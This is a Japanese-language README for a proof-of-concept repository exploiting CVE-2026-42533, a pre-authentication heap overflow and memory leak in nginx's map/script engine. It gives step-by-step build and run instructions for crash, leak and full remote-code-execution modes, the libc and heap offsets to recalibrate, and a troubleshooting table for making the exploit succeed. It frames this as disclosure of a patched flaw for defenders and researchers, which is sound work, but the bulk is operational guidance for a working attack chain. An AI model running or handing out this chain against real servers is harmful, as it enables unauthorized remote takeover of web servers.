
CVE-2026-42533: map/script エンジンにおける PCRE キャプチャ破壊による、認証前の nginx ヒープオーバーフローと情報漏洩。RCE に連鎖する。
nginx における認証前ヒープバッファオーバーフローおよびヒープ情報漏えい。スクリプトエンジンの2つのパス間で PCRE キャプチャ状態の保存/復元が欠落していることが原因。2つのキャプチャ参照の間で評価される正規表現の map 変数が r->captures を上書きするため、LEN パスと VALUE パスでキャプチャのサイズが食い違います。バッファは一方のキャプチャ用にサイズ決定され、別のキャプチャで埋められます。上書きが大きい場合は、攻撃者が制御する内容と長さによるヒープオーバーフローとなります。上書きが小さい場合は過大なバッファが生成され、その未初期化の末尾がクライアントに返されて libc とヒープのポインタが漏えいします。
この2つのプリミティブは連鎖して、信頼性の高い認証前リモートコード実行を実現します。リークは単一の GET で ASLR を突破するため、オーバーフローに ASLR の無効化は必要ありません。
解説: https://cyberstan.co.uk/nginx-rce/ アドバイザリ: F5 K000162097 報告者: Stan Shaw (cyberstan)
nginx 0.9.6 から 1.30.3 (stable) および 1.31.2 (mainline)。2011年に map ディレクティブが正規表現サポートを獲得して以降、到達可能です。http モジュールと stream モジュールの両方に影響します。13箇所の呼び出しサイトにわたる約50のディレクティブに加え、名前付きキャプチャ (r->variables[]) を通る第2の経路があります。1.30.4 と 1.31.3 で修正されました。
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
以下のコマンドはすべてリポジトリのルートから実行してください。exploits/、configs/、および ../nginx-1.30.1 ビルドツリーがすべて解決されます。
exploits/poc.py がメインのエクスプロイトです(番号付きキャプチャ、proxy_method シンク)。モードは以下のとおりです:
バグのその他の側面をカバーするスタンドアロンスクリプト:
構成ファイルは configs/ にあります: nginx_poc.conf (crash/leak/rce)、nginx_det.conf (rce-det)。完全な解説は docs/EXPLOITATION.md です。
Linux、gcc、python3、および nginx 1.30.1 のソースコード。Ubuntu 24.04.4、glibc 2.39、PCRE2 10.42、python 3.12、完全な ASLR で開発およびテスト済みです。
2種類のビルドがあります。リークと RCE 用のクリーンビルド(ヒープ残骸が本物であるため)。クラッシュとサイトバリデータ用の AddressSanitizer ビルド(オーバーフローが正確な書き込みサイズとスタック付きで報告されるため)。
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py は 127.0.0.1:8950 で稼働中の nginx と通信します。一方のターミナルで configs/nginx_poc.conf を使って nginx を起動し、もう一方のターミナルで実行したいモードを起動します。他の3つのスクリプトは自身で nginx を起動・停止するため、NGINX_BIN のみが必要です。
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
期待される結果: ngx_http_script.c:1404 の ngx_http_script_copy_capture_code でヒープバッファオーバーフロー (WRITE of size 200) が発生し、ngx_http_proxy_create_request 内の ngx_http_complex_value から呼び出されます。
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
期待される結果: 8161バイトのボディで、書き込まれるのは2バイト、残りはヒープ残骸。オフセット 0x08 に libc ポインタ、0x10 にヒープポインタがあります。
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
期待される結果: リーク、約40のスプレー接続、オーバーフロートリガー、そして id の出力を含む /tmp/PWNED。これは単発攻撃で、開発ビルドでは約3分の2の確率で成功します。失敗するとワーカーがクラッシュするため、再度実行してください。docs/EXPLOITATION.md の「Reliability」セクションを参照してください。
管理された構成に対しては、同じバグが決定的な単発攻撃になります。リークから絶対ヒープベースを1行で復元し (heap_base = (leaked_ptr & ~0xfff) - 0x22000)、保持された接続内の既知のアドレスに単一の偽造プールクリーンアップを配置し、被害者プールのクリーンアップを(テアダウン前に nginx が解放する一時的なトリガーボディではなく)そこに向けます。
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf はラボ用構成(シングルワーカー、固定バッファ)で、ヒープレイアウトが再現可能です。これにより poc.py のオフセット (PL_OFF、HEAP_PAGE_OFF) が成立します。PL_OFF は、保持された POST /b/ クリーンアップボディが配置されるヒープベースからのオフセットです。正確な割り当てシーケンスに依存するため、ビルド、glibc バージョン、構成が変わるとずれます。--rce-det が Recalibrate を報告する場合は、calibrate.py で稼働中のワーカーから正しい値を読み取ってください:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
もう1つの非成功ケースは、ASLR の抽選でクリーンアップアドレスまたはオーバーフローボディ内に 0x0a が入ってしまう場合です。map 正規表現はこれを運べないため、ツールが報告したら再実行します。標準的なデプロイ環境はそこまで予測可能ではないため、そちらでは --rce を使用してください。docs/EXPLOITATION.md の「A deterministic build」を参照してください。
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12 # a subset
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py # clean build
期待される結果: return と set がそれぞれ libc とヒープのポインタをリークし、両方ともワーカーの /proc/<pid>/maps と照合されます。
最もつまずきやすいのは2点です: 間違ったビルドの使用 (ASan とクリーン)、および --rce-det のオフセットが自分の環境と一致しないこと。両方とも以下で説明します。
--rce は実行時にリークから libc ベースとヒープポインタを復元するため、アドレスをハードコードしません。ただし、開発時のビルドと libc に固有のオフセットはハードコードされています:
LIBC_LEAK_OFFSET libc base to the leaked arena pointer
SYSTEM_OFFSET libc base to system()
BODY_DELTA_* leaked heap pointer to the overflow body buffer
POOL_OFF_FROM_BUF, D_LAST_OFF, D_END_OFF, LOG_OFF forged pool geometry
別のディストリビューション、glibc、または nginx ビルドでは、これらの再較正が必要です。実際の system() オフセットは readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b' で読み取り、プールオフセットは対象の ngx_pool_t から読み取ってください。--crash と --leak モードにはそのようなオフセットがなく、影響を受けるバージョンのどのビルドでも再現します。
リークには特別な調整は不要です。標準の events {} 構成で機能します。デフォルトの worker_connections (512) がアリーナを適切なサイズにし、解放されたリクエストチャンクが、過大なリークバッファが再利用するアリーナとヒープポインタをまだ保持している glibc のビンに配置されるためです。異常に低い worker_connections (約256未満) だけがこれを回避します。本番相当の値 (512〜1024) ではすべてリークします。
何も悪用せずに脆弱なパターンを検出する静的構成スキャナは、https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner にあります。
これは、パッチが適用され公開された脆弱性を対象としています。防御側が影響範囲を検証し、研究者が再現するためのものです。所有している、または明示的にテストを許可された nginx に対してのみ実行してください。1.30.4 または 1.31.3 にアップグレードしてください。
| モード | 目的 |
|---|
poc.py --crash | ヒープオーバーフローを発火します。ASan ビルドでは ngx_http_script_copy_capture_code の書き込みサイズとスタックを表示します。 |
poc.py --leak | 情報漏えい: 過大な応答ボディから libc とヒープのポインタをダンプします。 |
poc.py --rce | 完全な認証前 RCE。汎用の単発モード (configs/nginx_poc.conf)。1回あたり約66%。失敗したら再実行します。 |
poc.py --rce-det | 完全な認証前 RCE。管理された configs/nginx_det.conf に対して決定的に動作します。 |
| スクリプト | 目的 |
|---|
exploits/leak_multi.py | さらに2つの評価器 (return、set) を通した情報漏えい。各 libc+ヒープポインタを /proc/<pid>/maps と照合します。標準構成。 |
exploits/test_all_sites.py | 13箇所すべてのオーバーフロー呼び出しサイト (http + stream) を発火する AddressSanitizer バリデータ。 |
exploits/named_capture_poc.py | r->variables[] / copy_var_code を通した名前付きキャプチャ (?P<name>...) の亜種。第2の根本原因です。 |
| 症状 | 原因 | 対処法 |
|---|
--leak がポインタを表示しない、または --rce / --rce-det が成功しない | ASan ビルドを使用している。AddressSanitizer は解放済みメモリを poison するため、残骸に本物のポインタが含まれない | --leak、--rce、--rce-det、leak_multi.py にはクリーンな objs.dbg ビルドを使用する。ASan の objs ビルドは --crash、test_all_sites.py、named_capture_poc.py 専用。 |
--rce は3回中約2回しか成功しない | 汎用構成に対する単発攻撃であり、解放されたトリガーボディの位置が変動する | 正常な動作。失敗するとワーカーがクラッシュして再生成されるので、もう一度実行するだけ。決定的な単発攻撃には --rce-det を使用する。 |
--rce-det が毎回 No RCE. Recalibrate PL_OFF/HEAP_PAGE_OFF を表示する | PL_OFF はビルド、glibc、構成、および nginx の -p プレフィックスパス長に固有である。同梱されている値は -p run で起動したこのリポジトリの開発ビルド用 | exploits/calibrate.py を実行し、表示された PL_OFF を exploits/poc.py に貼り付け、calibrate.py に渡したのと同じ -p プレフィックスで nginx を起動する (README では -p run を使用)。 |
--rce-det が時々 0x0a (regex-hostile) ... retry を表示する | ASLR の抽選でアドレスに 0x0a (改行) バイトが入り、map 正規表現がそれを運べない | 失敗ではない。再実行すれば、次の抽選でほぼ確実に回避される。 |
nginx または calibrate.py: bind() to 127.0.0.1:8950 failed (Address already in use) | 以前の nginx がまだポートを保持している | pkill -x nginx を実行し、1秒待って再試行する。8950 で動かす nginx は1つだけにする。 |
スタンドアロンスクリプトが nginx not found を表示する | NGINX_BIN が未設定、または間違ったビルドを指している | NGINX_BIN を設定する (leak_multi.py はクリーンビルド、バリデータは ASan ビルド)。 |
構成、スクリプト、または nginx バイナリで No such file | リポジトリのルートにいない | 最初にリポジトリのルートへ cd する。すべてのコマンドがそれを前提としている (exploits/...、configs/...、../nginx-1.30.1/...)。 |
| ある構成ではリークが機能するが別の構成では機能しない | worker_connections が約256未満だとアリーナが縮小し、解放されたチャンクにポインタが保持されない | 通常の worker_connections (512〜1024) を使用する。本番相当の値ならすべてリークする。 |